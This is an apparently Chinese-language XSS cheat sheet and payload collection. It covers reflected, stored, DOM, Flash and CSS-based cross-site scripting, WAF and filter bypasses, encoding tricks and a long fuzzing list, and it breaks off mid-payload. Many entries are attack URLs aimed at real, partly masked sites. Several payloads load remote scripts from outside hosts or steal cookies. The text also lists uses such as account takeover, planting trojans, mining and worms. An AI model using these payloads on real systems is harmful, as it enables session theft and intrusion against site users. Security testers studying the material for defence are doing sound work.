分類javascript
反射型 存儲型 DOM型 XSF(Flash XSS) PDFXSS MHTML協議跨站(MHTML,data) 字符編碼(UTF-7 XSS)
富文本編輯器測試 - 輸入框 <img SRC="http://www.baidu.com/" STYLE="xxx:expressio/*\0*/n(if(!window.x){alert('xss');window.x=1;})" ALT="111" /> #style過濾不足 IE6環境 <img src=1 alt="hello,xss"onerror=alert(1);//"> #發表日誌處 反射型
(1)<script>alert(1)</script> (2)%22%3E%3Cscript%3Ealert%28/insight/%29%3C/script%3E
(3)">%3Cscript%3Ealert%28/document.cookie/%29%3C/script%3E
(4)%3Cscript%3Ealert%28%27s%27%29;%3C/script%3E
(5)</SCRIPT><SCRIPT>alert("B0mbErM@n");</SCRIPT>
(6)--"><SCRIPT>alert("B0mbErM@n");</SCRIPT> -- 接路徑後php
(7)http://xx.xx.com.cn/front/register.jsp?lang="onerror=alert(document.cookie)%20" 存儲型 </a>javascript:alert(/x/) #如相冊名稱填寫處 <iframe/src=javascript:alert(document.cookie);> #如上傳視頻後填寫視頻信息,在視頻簡介處插入 XSS -> 獲得用戶Cookie -》 登陸網站後臺 -》 經過越權漏洞添加管理員帳號
測試瀏覽器: IE8 | IE9和Opera 關閉XSS filter | firefox 17.0.5
XSS: http://movie.x.com/type,area/a"><BODY ONLOAD=alert(188)>,1/ http://movie.x.com/type,area/a%22%3E%3CBODY%20ONLOAD=alert%28188%29%3E,1/ http://t.x.com.cn/pub/tags/"><script>alert(1)</script> http://t.x.com.cn/pub/tags/%2522%253E%253Cscript%253Ealert(1)%253C%252Fscript%253E http://t.x.com/tag/');alert(1)<!-- http://123.x.com/dianping/?aaaaaaaaaa"><script>alert(/wooyun/)</script> http://t.x.com/p/worldcup?g=1"><script>alert(document.domain)</script> http://shaft.jebe.x.com/show?a=a<script>alert(1)</script>&r=http://www.renren.com&type=single http://help.x.com/mutually_help_null.shtml?query=<script>alert(1)</script> http://www.x.com/Product/SearchNew.aspx?new=1&k=aaa<script>alert('xss')</script> http://t.x.com/p/city?s=44&c=3"><script>alert(1)</script><" http://search.x.com/bk.jsp?title="><script>alert(1)</script><" http://wap.x.com/sogou/go2map/?pg=GMINDEX&position="><script>alert(1)</script><" http://**.**.**.**/api/db/dbbak.php?apptype=1%22%3E%3Cscript%3Ealert(1)%3C/script%3E%3C%22 http://product.x.com/simp_search.php?manuid=0&keyword=</script><script>alert(42)</script>&bgcolor=ffffff http://play.x.com.cn/list.php?keyword=<script>alert('xss');</script>&keywords=title&x=10&y=10 http://login.x.com.cn/hd/signin.php?act=1&reference='"><script>alert("xss");</script><"&entry=sso®_entry=space http://www.x.com/websnapshot?url='"><script>alert("我又來了—小黑");</script><"&did=093e5e25b67f3688-24a8d6236dd http://passport.x.com/matrix/getMyCardAction.do?url='"><script>alert(9122430);</script><"&chenmi=0&macval=&hmac= http://mail.x.com/?userid=&appid='"><script>alert(15551700);</script><"&ru= http://toolbox.x.com/searchcode/iframe?style=4&domain='"><script>alert(15551700);</script><" http://www.x.net/pharmacysystem.php?page="><script>alert(15551700);</script>&Proceed_=1 http://game.x.tv/astd_register.php?preurl=http://game.pps.tv/astd_register.php&cf="><script>alert(15551700);</script> http://movies.x.com/movie_search.php?type=xss';"<script>alert(188)</script>&keyword=1 http://movies.x.com/movie_search.php?type=xss%27;%22%3Cscript%3Ealert%28188%29%3C/script%3E&keyword=1 http://movies.x.com/movie_search.php?type=search&keyword=</title><script>alert(/anyunix/)</script> http://movies.x.com/movie_search.php?type=search&keyword=%3C/title%3E%3Cscript%3Ealert%28/anyunix/%29%3C/script%3E http://passport.x.com/web/updateInfo.action?modifyType=';alert(/aa/);a=' http://passport.x.com/web/updateInfo.action?modifyType=%27;alert%28/aa/%29;a=%27 http://www.x.com/rp/uiserver2.asp?action=<script>alert(/xss/)</script> http://cang.x.com/do/add?it=&iu=!--></script><script>alert(/xss/)</script> http://cang.x.com/do/add?it=&iu=<script>alert(/xss/);</script> http://**.**.**.**/diannao/?類型=&query=<script>alert(/xss/);</script>&cater=diannao http://x.tv/cookie.php?act=login_tmp&success_callback="><div%20style="xss:expression(window.x?0:(eval(String.fromCharCode(97,108,101,114,116,40,39,120,115,115,39,41)),window.x=1));"></div> http://x.com.cn/api/get_from_data.php?sid=48302&jsoncallback=jsonp1282643851243'<script>alert('s')</script>s&_=1282643881152 http://x.m.moxiu.com/index.php?do=Phone.List&fid=1&t=8<script>alert('s');</script> http://x.sina.com.cn/list.php?client=13&clientname=<script>alert('s');</script> http://bj.x.com/bjhcg/stock/friendkchz.asp?tp=10&group="></iframe><script>alert(/XSS/);</script> http://hk.x.com/gtja_Report/Report/Search.aspx?type="></iframe><script>alert(/XSS/);</script> http://hksrv1.x.com/kf.php?keyword=&arg=gtjahk&style=1\0\"\'><ScRiPt>alert(/XSS/);</ScRiPt> http://hk2.x.com/english/gtja_Report/Report/MarketCVList.aspx?type=0&key=" style="XSS:expression(alert(/XSS/))" http://8.show.x.com.cn/room/space.php?sid=1000040123&tab=2';</script><script>alert('by pandora ');</script><script> http://passport.x.com/fastreg/regs1.jsp?style=black"></iframe><script>alert("pow78781");</script> http://cgi.video.x.com/v1/user/userinfo?u=611991217;alert(/ss/) http://t.x.com/session?username="><script>alert("xss")</script>\&password=xss&savelogin=1234 http://v.x.com/result.html?word=asdf<img src=1 onerror=alert(1)>&submit=百度一下&type=0 http://b2b.x.com/search/search.jsp?shangji=3&query=<script>alert(document.cookie)</script> http://login.x.com.cn/sso/login.php?callback=alert(String.fromCharCode(120,115,115,101,114));//&returntype=IFRAME http://t.x.com.cn/ajaxlogin.php?framelogin=1&callback=var aa='&retcode=101';alert('xsser');var bb='({&reason=';<!-- http://sms.x.com/GGBJ/login.php?phone=sefrefwe" /><script>alert(/ss/);</script><!-- http://tuan.x.com/beijing/life/?promoteid='"><script>alert(565902);</script><" http://chat.x.com/robot/repositoryBrowse.jsp?title=</TITLE><body onload=alert(999)> http://cp.x.com/login.asp?language='"><script>alert(7001645);</script><" http://hi.x.com/?origURL='"><script>alert(123);</script><"&loginregFrom=index&ss=10101 https://auth.x.com/login/index.htm?support=&CtrlVersion=&loginScene=&personalLoginError=&goto='"><script>alert(7263974);</script><"&password=&REMOTE_PCID_NAME=_seaside_gogo_pcid&_seaside_gogo_pcid=&_seaside_gogo_=&_seaside_gogo_p=&checkCode=1111 http://game.x.tv/astd_register.php?preurl=http://game.pps.tv/astd_register.php&cf="><script>alert(9631676);</script> http://reg.x.com/xn6205.do?ss=a&rt=a&g=');location='https://baidu.com';// 富文本框上傳圖片處,抓包,POST請求: msg=分享圖片&act=insertTwitter&pic=http://up2.upload.x.com/"abc/123/onerror=alert(); xxx.png msg=%u5206%u4EAB%u56FE%u7247&act=insertTwitter&pic=http://up2.upload.x.com/"abc/123/onerror=alert(); xxx.png 富文本 - 以源碼方式編輯提交 STYLE標籤未過濾 - IE6,7,8 <img SRC="http://www.x.com/" STYLE="xxx:expressio/*\0*/n(if(!window.x){alert('xss');window.x=1;})" ALT="111" /> 富文本編輯發表處: <img src=1 alt="hello,xss"onerror=alert(1);//"> 文本框: <script>alert(/1/)</script> <script>alert(/xss/)</script> <script>alert("XSS")</script> </style><script>alert(/xss/)</script> <script>alert(1)</script> "><script>alert(/a/);</script> <script>alert(document.cookie)</script> --如在帖子簽名處插入-》論壇發帖-》彈窗 </script><script>alert(1)</script> WooYun<img src='' onerror=alert(/poc/)> '"><script>alert(111);</script><" <img src="x" onerror="alert(1)"> anyunix"/></div></div></div><BODY ONLOAD=alert('anyunix')> "><script>alert(1)</script><" --貼吧發帖回帖標題處 >><<script>alert(/xss/)</script>< 新建相冊專輯,名稱及描述處輸入"><script>alert(1)</script><" -> 之後編輯該相冊時觸發 --文章標題處 <script>alert('s')</script> <script>alert(/xss/)</script> '"><script>alert("url");</script><" --插入連接文本框 anyunix</textarea></div></div><BODY ONLOAD=alert('anyunix')></textarea> --簽名處 我的空間的「修改樣式」功能,只是在保存前作了js判斷,並無對實質內容進行過濾,致使持久型xss。(expression(alert(1)) 在IE6,IE8下測試經過,此處有字數限制) '"><script>alert("pow78781");</script> ---註冊時用戶名處 "><script src="http://www.***.com/test.js" type="text/javascript"></script> 可在我的博客首頁執行js代碼 詳細說明: 使用自定義模板時插入javascript,未進行任何檢查過濾。直接location.href轉向便可將訪問者博客(登陸狀態時)的博文、評論等隱藏 漏洞證實: 編輯自定義代碼,如head區域,插入 <script>http://www.x.com/user/service.php?op=poststatus&blogid=***&id=***&Status=0</script> 我的空間DIY時可使用expression,IE六、IE7測試經過 全角字符形式expression表達式未被過濾。而全角字符形式的expression可以被IE6解析並執行,所以,該漏洞可能致使使用IE 6.0訪問sohu郵箱的用戶遭受XSS攻擊,如在郵箱處插入文本: <DIV STYLE="width: expression(alert('XSS'));"> 郵箱 - 發件人姓名 填寫</script><script>alert()</script> 郵箱 - 發件箱郵件正文 - Style標籤未過濾: <STYLE>@im\port'\ja\vasc\ript:alert("XSS")';</STYLE> 郵件正文: <div style="width:exp/****/ression(alert('xsser'))">xsser</div> 1.用QQ郵箱A給QQ郵箱B發郵件,收件人,標題填好後,對郵件正文內容作一次這樣的操做:用郵件編輯器自帶的插入圖片功能,插入一個「網絡照片」(地址隨便寫,asdf也不要緊),以後在編輯器中該「插入的圖片」的後面,輸入任意html代碼便可,如<script>alert(1)</script>,發送 2.B收到郵件意圖回覆該郵件,點擊回覆時出現彈框 圖片上傳處: <img src="javascript:alert(/xxxs/)"> --僅影響IE6 圖片名稱(利用js進行CSRF): <script src=1.js></script> <script src=http://***.com/*.js> 在圖片中插入JS -》 上傳 - 》 顯示: <img src="" onerror="XSS" /> 在附件中插入JS -》 上傳 -》 顯示: <style> body{ width:expression(alert(/xss/)) } </style> 搜索處: <script>alert(/xxx/)</script> "><script>alert()</script> "><script>alert(/新浪手機跨站/)</script>< "><iframe src=http://www.baidu.com></iframe> '"><script>alert("小黑來跨站");</script><" <iframe src=https://www.baidu.com </iframe> <iframe src=https://www.baidu.com width=500 height=90></iframe> aa</title></head><script>alert('乖乖');</script> " onFocus="alert('十九樓跨站') 外部導入: css導入: @import url(http://**.**.**.**/1.css); 包含遠程css文件,能夠在1.css中寫入XSS利用. $str = preg_replace($filter, '', $str); //過濾是過濾了,但只用於判斷,沒對源輸入起做用 if(preg_match("/(expression|implode|javascript)/i", $str)) { //並無對import、http等進行檢測 code 區域 /(expression|vbscript|javascript|import)/i IE6,IE7,IE8經過. js文件導入: http://cnmail0.x.x.com.cn/classic/rdMail.php?cb=1,</script><script src="http://XX.com/s.js"></script><script> http://t.x.com.cn/ajaxlogin.php?framelogin=1&callback=document.all[3].src='http://xss.com/xss.js';</script><!-- http://123.x.com/dianping/?"><SCRIPT/*/SRC='http://ha.ckers.org/xss.js'> 頁面跳轉觸發: 服務器端存在對參數的過濾不嚴,致使能夠經過在參數中提交帶有JavaScript代碼惡意url,在進行頁面跳轉時(如從搜索頁面進入換膚)觸發漏洞 http://www.x.com/search?q=beyond&"><script>alert('ok')</script> 漏洞觸發 code 區域 http://www.x.com/skinchooser?back_url=http://www.x.com/search?q=beyond&"><script>alert('ok')</script> Flash XSS swf: </script><!--><meta http-equiv="refresh" content="3;url=http://www.google.com.hk"><!--http://www.1.swf-->.swf (連接地址欄中輸入) 連接地址: mp3連接(連接地址欄中輸入): gHK【DBA】--><script language="javascript" type="text/javascript" src="http://js.users.51.la/4209140.js"></script><!--跨站.mp3 url連接地址欄中導入js文件: '<!--><script language="javascript" type="text/javascript" src="http://js.users.51.la/4209140.js"></script><!-- 繞過長度限制: (1)Post提交表單: </title><script>alert(/1/)</script> 繞過' " 等字符實現跳轉 -》會自動轉到 http://www.hao123.com http://cgi.x.x.com/v1/user/userinfo?u=611991217;var str=window.location.href;var es=/url=/;es.exec(str);var right=RegExp.rightContext;window.location.href=right&url=http://www.hao123.com 做用: (1)實現網頁自動跳轉刷新 http://down.tech.x.com.cn/download/search.php?f_name=0;URL=http://www.geovisioncn.com/news" http-equiv="refresh" \\\ (2)獲取敏感數據 XSS與郵箱同域,在郵件中誘使用戶點擊可獲取郵件列表、通信錄等 (3)post發送Ajax修改我的資料,如修改郵箱爲可操做的郵箱,而後密碼找回帳號盜號 (4)獲取管理員帳號(管理員後臺查看JS腳本) (5)釣魚 (6)蠕蟲 條件:1.同域 2.登陸狀態 防護: PHP: htmlspecialchars
經常使用構造方法整理css
<sCript>alert(1)</scRipt> #使用的正則不完善或者是沒有用大小寫轉換函數
<script>alert(/xss/)</script> #多用於地址欄
%253Cimg%2520src%253D1%2520onerror%253Dalert%25281%2529%253E #多重url編碼繞過
<script>eval(String.fromCharCode(97, 108, 101, 114, 116, 40, 39, 120, 115, 115, 39, 41))</script> #字符轉ascii(unicode)十進制編碼繞過
<scr<script>rip>alalertert</scr</script>rip> #拼湊法(利用waf的不完整性,只驗證一次字符串或者過濾的字符串並不完整)
"onmousemove="alert('xss')
</textarea><script>alert('xss')</script> <img scr=1 onerror=alert('xss')> #當找不到圖片名爲1的文件時,執行alert('xss') <a href=javascrip:alert('xss')>s</a> #點擊s時運行alert('xss') <iframe src=javascript:alert('xss');height=0 width=0 /></iframe> #利用iframe的scr來彈窗 "><script>onclick=alert(1)</script> <a href="#" onclick="alert(1)">s</a> <script>eval(location.hash.substr(1))</script>#alert('xss') <p>Sanitizing <img src=""INVALID-IMAGE" onerror='location.href="http://too.much.spam/"'>!</p> "<svg/onload=confirm(document.domain)> a"><svg/onload=prompt(1)> "></iframe><script>alert('OPEN BUG BOUNTY');</script> <button onfocus=alert(/xss/) autofocus> #須要點擊button才能執行 <img src=x onerror=window.alert(1) > <img src=x onerror=window[‘al’%2B’ert’](1) > <img src=x onerror=_=alert,_(/xss/) > <img src=x onerror=_=alert;_(/xss/) > <img src=x onerror=_=alert;x=1;_(/xss/) > <body/onload=document.write(String.fromCharCode(60,115,99,114,105,112,116,62,97,108,101,114,116,40,49,41,60,47,115,99,114,105,112,116,62))> <sCrIpt srC=http://xss.tf/eeW></sCRipT> "<body/onload=document.write(String.fromCharCode(60,115,67,114,73,112,116,32,115,114,67,61,104,116,116,112,58,47,47,120,115,115,46,116,102, 47,101,101,87,62,60,47,115,67,82,105,112,84,62))>" #對地址進行ascii編碼,IE不支持String.fromCharCode <img src=x onerror=javascript:'.concat('alert(1)> #IE、XSS Auditor均沒法繞過 javascript://%250Aalert(1) #重定向+服務端對url兩次解碼(對url驗證:PHP的filter_var或filter_input函數的FILTER_VALIDATE_URL) javascript://%0Aalert(1) #重定向+服務端對url解碼(對url驗證:PHP的filter_var或filter_input函數的FILTER_VALIDATE_URL) javascript://%0A1?alert(1):0 #三目運算符 javascript://baidu.com/%0A1?alert(1):0 #三目運算符 12345678901<svg onload=alert(1)> #字符長度固定-》構造僞造字符
<script%20src%3D"http%3A%2F%2F0300.0250.0000.0001"><%2Fscript> #ascii八進制編碼繞過
<img src="1" onerror=eval("\x61\x6c\x65\x72\x74\x28\x27\x78\x73\x73\x27\x29")></img> #字符轉ascii十六進制編碼繞過
<svg onload=javascript:alert(1) xmlns="https://www.test.com">
<iframe src="java script:alert(1)" height=0 width=0 /><iframe> #webkit過濾規則繞過
<script>alert('xss')</script>
" onclick="alert('xss')
<script src="http://xss8.pw/bgFfBx?1419229565"></script> (加載js文件)
<script>confirm(/v587/)</script>
'"()&%<acx><ScRiPt>alert(/xss/)</ScRiPt>
'";alert(1);//
'";alert(/xsss/)//
zaq'onmouseover=prompt(1)>
<svg/onload=alert(1)>
/index.jsp?vendor_id=";alert(/xss/)<!--
字段繞過方法整理html
1" autofocus onfocus=alert(1) x=" #尖括號繞過/input標籤中 name=javascript:alert(1) autofocus onfocus=location=this.name #尖括號繞過/input標籤中 location=url編碼模式可將括號寫爲%28 %29 #()繞過 this.name傳值繞過 #單引號'繞過 <SCRIPT>a=/1/alert(a.source)</SCRIPT> #單引號、雙引號、分號繞過|尖括號、等號無法繞過 <script>{onerror=alert}throw 1</script> #引號、分號繞過 <script>eval(String.fromCharCode(97, 108, 101, 114, 116, 40, 39, 120, 115, 115, 39, 41))</script> #單引號、雙引號、分號繞過|尖括號無法繞過 <<SCRIPT>a=/1/alert(a.source)//<</SCRIPT> #<script>、單雙引號、分號繞過|等號無法繞過 <a href="javascript:alert('xss')">link</a> #javascript繞過
<img src="1" onerror=eval("\x61\x6c\x65\x72\x74\x28\x27\x78\x73\x73\x27\x29")></img> #alert繞過
可繞過IE瀏覽器檢測,沒法繞過XSS Auditor檢測構造方法整理 html5
<img src=1 onerror=alert(document.domain)> <video src=1 onerror=alert(/xss/)> <audio src=x onerror=alert(/xss/)> <body/onfocus=alert(/xss/)> <input autofocus onfocus=alert(1)> #需點擊觸發 <svg onload=location=alert(1)> <svg onload=javascript:alert(1)> <button onfocus=prompt(1) autofocus> #需點擊觸發 <select autofocus onfocus=prompt(1)> #需點擊觸發 "<svg/onload=alert(1)>"@x.y 針對郵件地址檢測構造XSS(if(!filter_var($email, FILTER_VALIDATE_EMAIL))) <script>alert('xss')</script><svg/onload=setTimeout(alert(1))><img src=1 onerror=constructor.constructor(alert(1))> <img src=1 onerror=[1].map(alert)> <img src=1 onerror=[1].filter(alert)> <img src=1 onerror=alert(document.domain)> <svg/onload=setTimeout(String.fromCharCode(97,108,101,114,116,40,49,41))> <body/onload=document.write(String.fromCharCode(60,115,99,114,105,112,116,62,97,108,101,114> #對<script>alert(1)</script>ascii編碼 <body/onfocus=_=alert,_(123)>
利用details | 目前只有 Chrome, Safari 6+, 和 Opera 15+ 瀏覽器支持 | chrome Auditor沒法繞過" | eval攔截可對alert(1) 八進制編碼java
<details open ontoggle=top.alert(1)> <details open ontoggle=top['alert'](1)> <details open ontoggle=top[‘prompt’](1)> <details open ontoggle=top[‘al’%2b’ert’](1)> <details open ontoggle=top.eval(‘ale’%2B’rt(1)’) > <details open ontoggle=top.eval(‘ale’%2B’rt(1)’) > <details open ontoggle=eval(‘alert(1)’) > <details open ontoggle=eval('\u0061\u006c\u0065\u0072\u0074\u0028\u0031\u0029') > <details open ontoggle=eval(atob(‘YWxlcnQoMSk=’)) > <details open ontoggle=\u0065val(atob(‘YWxlcnQoMSk=’)) > <details open ontoggle=%65%76%61%6c(atob(‘YWxlcnQoMSk=’)) > " <details open ontoggle=eval('%61%6c%65%72%74%28%31%29') > <details open ontoggle=eval(‘\141\154\145\162\164\50\61\51’) > <details open ontoggle=eval(String.fromCharCode(97,108,101,114,116,40,49,41)) > #外部url,運用基於DOM的方法建立和插入節點把外部JS文件注入到網頁並進行url編碼 <details open ontoggle=eval(「appendChild(createElement(‘script’)).src=’http://xss.tf/eeW'」)> <details open ontoggle=eval(%61%70%70%65%6e%64%43%68%69%6c%64%28%63%72%65%61%74%65%45%6c%65%6d%65%6e%74%28%27%73%63%72%69%70%74%27%29%29%2e%73%72%63%3d%27%68%74%74%70%3a%2f%2f%78%73%73%2e%74%66%2f%65%65%57%27) >
繞過檢測規則/waf方法整理react
客戶端繞過 - waf部署在客戶端上,利用burp、fiddler繞過
USER-Agent僞造繞過 - 對百度、google、soso、360等爬蟲請求不過濾的狀況下
cookie構造繞過 - $_REQUEST接受get post cookie,waf過濾GET POST
IP代理繞過 - 網站顯示IP或瀏覽器,可對IP、user-agent進行構造,在PHP裏X_FORWARDED_FOR和HTTP_CLIENT_IP兩個獲取IP的函數可被修改
插件繞過 - 過任意waf/支持跨域
編碼繞過 - HTML、Unicode、URL、ASCII、JS編碼、base64
字符實體繞過
利用webkit過濾規則繞過
參數污染繞過(主要用於搜索引擎)
http://127.0.0.1:631/admin/?kerberos=onmouseover=alert(1)&kerberos
註釋符繞過
input1#value: "><!--
input2#value: --><script>alert(/xss/);<script/>jquery
外部引入css腳本繞過ios
結合服務器編碼語言繞過git
配合代碼邏輯繞過
編碼語言漏洞/框架漏洞 - 如 Jquery 中 html()方法 - Apache||Nginx訪問日誌攻擊
a.cn/test/?text=<script>alert(1)</script> #Nginx,後端Apache
外部引入css腳本整理
<!DOCTYPE HTML> <html> <head> <style> @import url("malicious.css"); </style> <title>TEST</title> <meta charset="utf-8"> </head> <body > There is a will! </body> </html> body{ color:expression(alert('xss')); }
移動端構造方法整理
#ontouch*handlers <body ontouchstart=alert(45)> <body ontouchend=alert(45)> <body ontouchmove=alert(45)>
Cookie繞過整理
Cookie中添加 style: wrewrwrwrwrafas"><script>alert(1)</script><!--
配合代碼邏輯繞過整理
');%0a}%0d}%09alert();/*anything here*/if(true){//anything here%0a('
');}}alert();if(true){(' 場景 function example(age, subscription){ if (subscription){ if (age > 18){ another_function('');}}alert();if(true){(''); } else{ console.log('Requirements not met.'); } } 執行 -》 function example(age, subscription){ if (subscription){ if (age > 18){ another_function(''); } } alert(); if (true){ (''); } else{ console.log('Requirements not met.');
工具篇
XSpear
利用篇
插入惡意代碼 - 工具 - 桂林老兵cookie欺騙
<img src=x onerror=appendChild(createElement('script')).src='js_url' />
第三方劫持 (外調J/C)
XSS downloader
XCS
頁面渲染XSS
跨域攻擊
挖礦
DDOS攻擊
獲取Cookie
內網IP端口存活主機信息獲取
截屏
獲取後臺地址(存儲型XSS)
掛馬
(1)反射型 - %3Ciframe+src%3Dhttp%3A%2F%2Fwww.tkwoo.com+width%3D0+height%3D0%3E%3C%2Fiframe%3E+
Fuzzing篇
<svg onload=alert(1)> "><svg onload=alert(1)// "onmouseover=alert(1)// "autofocus/onfocus=alert(1)// '-alert(1)-' '-alert(1)// \'-alert(1)// </script><svg onload=alert(1)> <x contenteditable onblur=alert(1)>lose focus! <x onclick=alert(1)>click this! <x oncopy=alert(1)>copy this! <x oncontextmenu=alert(1)>right click this! <x oncut=alert(1)>copy this! <x ondblclick=alert(1)>double click this! <x ondrag=alert(1)>drag this! <x contenteditable onfocus=alert(1)>focus this! <x contenteditable oninput=alert(1)>input here! <x contenteditable onkeydown=alert(1)>press any key! <x contenteditable onkeypress=alert(1)>press any key! <x contenteditable onkeyup=alert(1)>press any key! <x onmousedown=alert(1)>click this! <x onmousemove=alert(1)>hover this! <x onmouseout=alert(1)>hover this! <x onmouseover=alert(1)>hover this! <x onmouseup=alert(1)>click this! <x contenteditable onpaste=alert(1)>paste here! <script>alert(1)// <script>alert(1)<!– <script src=//brutelogic.com.br/1.js> <script src=//3334957647/1> %3Cx onxxx=alert(1) <%78 onxxx=1 <x %6Fnxxx=1 <x o%6Exxx=1 <x on%78xx=1 <x onxxx%3D1 <X onxxx=1 <x OnXxx=1 <X OnXxx=1 <x onxxx=1 onxxx=1 <x/onxxx=1 <x%09onxxx=1 <x%0Aonxxx=1 <x%0Conxxx=1 <x%0Donxxx=1 <x%2Fonxxx=1 <x 1='1'onxxx=1 <x 1="1"onxxx=1 <x </onxxx=1 <x 1=">" onxxx=1 <http://onxxx%3D1/ <x onxxx=alert(1) 1=' <svg onload=setInterval(function(){with(document)body.appendChild(createElement('script')).src='//HOST:PORT'},0)> 'onload=alert(1)><svg/1=' '>alert(1)</script><script/1=' */alert(1)</script><script>/* */alert(1)">'onload="/*<svg/1=' `-alert(1)">'onload="`<svg/1=' */</script>'>alert(1)/*<script/1=' <script>alert(1)</script> <script src=javascript:alert(1)> <iframe src=javascript:alert(1)> <embed src=javascript:alert(1)> <a href=javascript:alert(1)>click <math><brute href=javascript:alert(1)>click <form action=javascript:alert(1)><input type=submit> <isindex action=javascript:alert(1) type=submit value=click> <form><button formaction=javascript:alert(1)>click <form><input formaction=javascript:alert(1) type=submit value=click> <form><input formaction=javascript:alert(1) type=image value=click> <form><input formaction=javascript:alert(1) type=image src=SOURCE> <isindex formaction=javascript:alert(1) type=submit value=click> <object data=javascript:alert(1)> <iframe srcdoc=<svg/onload=alert(1)>> <svg><script xlink:href=data:,alert(1) /> <math><brute xlink:href=javascript:alert(1)>click <svg><a xmlns:xlink=http://www.w3.org/1999/xlink xlink:href=?><circle r=400 /><animate attributeName=xlink:href begin=0 from=javascript:alert(1) to=&> <html ontouchstart=alert(1)> <html ontouchend=alert(1)> <html ontouchmove=alert(1)> <html ontouchcancel=alert(1)> <body onorientationchange=alert(1)> "><img src=1 onerror=alert(1)>.gif <svg xmlns="http://www.w3.org/2000/svg" onload="alert(document.domain)"/> GIF89a/*<svg/onload=alert(1)>*/=alert(document.domain)//; <script src="data:,alert(1)// "><script src=data:,alert(1)// <script src="//brutelogic.com.br/1.js# "><script src=//brutelogic.com.br/1.js# <link rel=import href="data:text/html,<script>alert(1)</script> "><link rel=import href=data:text/html,<script>alert(1)</script> <base href=//0> <script/src="data:,eval(atob(location.hash.slice(1)))//#alert(1) <body onload=alert(1)> <body onpageshow=alert(1)> <body onfocus=alert(1)> <body onhashchange=alert(1)><a href=#x>click this!#x <body style=overflow:auto;height:1000px onscroll=alert(1) id=x>#x <body onscroll=alert(1)><br><br><br><br> <br><br><br><br><br><br><br><br><br><br> <br><br><br><br><br><br><br><br><br><br> <br><br><br><br><br><br><x id=x>#x <body onresize=alert(1)>press F12! <body onhelp=alert(1)>press F1! (MSIE) <marquee onstart=alert(1)> <marquee loop=1 width=0 onfinish=alert(1)> <audio src onloadstart=alert(1)> <video onloadstart=alert(1)><source> <input autofocus onblur=alert(1)> <keygen autofocus onfocus=alert(1)> <form onsubmit=alert(1)><input type=submit> <select onchange=alert(1)><option>1<option>2 <menu id=x contextmenu=x onshow=alert(1)>right click me! alert`1` alert(1) alert(1) alert(1) (alert)(1) a=alert,a(1) [1].find(alert) top["al"+"ert"](1) top[/al/.source+/ert/.source](1) al\u0065rt(1) top['al\145rt'](1) top['al\x65rt'](1) top[8680439..toString(30)](1) navigator.vibrate(500) eval(URL.slice(-8))>#alert(1) eval(location.hash.slice(1)>#alert(1) innerHTML=location.hash>#<script>alert(1)</script> '%22--%3E%3C/style%3E%3C/script%3E%3Cscript%3Eshadowlabs(0x000045)%3C/script%3E <<scr\0ipt/src=http://xss.com/xss.js></script %27%22--%3E%3C%2Fstyle%3E%3C%2Fscript%3E%3Cscript%3ERWAR%280x00010E%29%3C%2Fscript%3E ' onmouseover=alert(/XSS/) "><iframe%20src="http://google.com"%%203E '<script>window.onload=function(){document.forms[0].message.value='1';}</script> x」</title><img src%3dx onerror%3dalert(1)> <script> document.getElementById(%22safe123%22).setCapture(); document.getElementById(%22safe123%22).click(); </script> <script>Object.defineProperties(window, {Safe: {value: {get: function() {return document.cookie}}}});alert(Safe.get())</script> <script>var x = document.createElement('iframe');document.body.appendChild(x);var xhr = x.contentWindow.XMLHttpRequest();xhr.open('GET', 'http://xssme.html5sec.org/xssme2', true);xhr.onload = function() { alert(xhr.responseText.match(/cookie = '(.*?)'/)[1]) };xhr.send();</script> <script>(function() {var event = document.createEvent(%22MouseEvents%22);event.initMouseEvent(%22click%22, true, true, window, 0, 0, 0, 0, 0, false, false, false, false, 0, null);var fakeData = [event, {isTrusted: true}, event];arguments.__defineGetter__('0', function() { return fakeData.pop(); });alert(Safe.get.apply(null, arguments));})();</script> <script>var script = document.getElementsByTagName('script')[0]; var clone = script.childNodes[0].cloneNode(true); var ta = document.createElement('textarea'); ta.appendChild(clone); alert(ta.value.match(/cookie = '(.*?)'/)[1])</script> <script>xhr=new ActiveXObject(%22Msxml2.XMLHTTP%22);xhr.open(%22GET%22,%22/xssme2%22,true);xhr.onreadystatechange=function(){if(xhr.readyState==4%26%26xhr.status==200){alert(xhr.responseText.match(/'([^']%2b)/)[1])}};xhr.send();</script> <script>alert(document.documentElement.innerHTML.match(/'([^']%2b)/)[1])</script> <script>alert(document.getElementsByTagName('html')[0].innerHTML.match(/'([^']%2b)/)[1])</script> <%73%63%72%69%70%74> %64 = %64%6f%63%75%6d%65%6e%74%2e%63%72%65%61%74%65%45%6c%65%6d%65%6e%74(%22%64%69%76%22); %64%2e%61%70%70%65%6e%64%43%68%69%6c%64(%64%6f%63%75%6d%65%6e%74%2e%68%65%61%64%2e%63%6c%6f%6e%65%4e%6f%64%65(%74%72%75%65)); %61%6c%65%72%74(%64%2e%69%6e%6e%65%72%48%54%4d%4c%2e%6d%61%74%63%68(%22%63%6f%6f%6b%69%65 = '(%2e%2a%3f)'%22)[%31]); </%73%63%72%69%70%74> <script> var xdr = new ActiveXObject(%22Microsoft.XMLHTTP%22); xdr.open(%22get%22, %22/xssme2%3Fa=1%22, true); xdr.onreadystatechange = function() { try{ var c; if (c=xdr.responseText.match(/document.cookie = '(.*%3F)'/) ) alert(c[1]); }catch(e){} }; xdr.send(); </script> <iframe id=%22ifra%22 src=%22/%22></iframe> <script>ifr = document.getElementById('ifra'); ifr.contentDocument.write(%22<scr%22 %2b %22ipt>top.foo = Object.defineProperty</scr%22 %2b %22ipt>%22); foo(window, 'Safe', {value:{}}); foo(Safe, 'get', {value:function() { return document.cookie }}); alert(Safe.get());</script> <script>alert(document.head.innerHTML.substr(146,20));</script> <script>alert(document.head.childNodes[3].text)</script> <script>var request = new XMLHttpRequest();request.open('GET', 'http://html5sec.org/xssme2', false);request.send(null);if (request.status == 200){alert(request.responseText.substr(150,41));}</script> <script>Object.defineProperty(window, 'Safe', {value:{}});Object.defineProperty(Safe, 'get', {value:function() {return document.cookie}});alert(Safe.get())</script> <script>x=document.createElement(%22iframe%22);x.src=%22http://xssme.html5sec.org/404%22;x.onload=function(){window.frames[0].document.write(%22<script>r=new XMLHttpRequest();r.open('GET','http://xssme.html5sec.org/xssme2',false);r.send(null);if(r.status==200){alert(r.responseText.substr(150,41));}<\/script>%22)};document.body.appendChild(x);</script> <script>x=document.createElement(%22iframe%22);x.src=%22http://xssme.html5sec.org/404%22;x.onload=function(){window.frames[0].document.write(%22<script>Object.defineProperty(parent,'Safe',{value:{}});Object.defineProperty(parent.Safe,'get',{value:function(){return 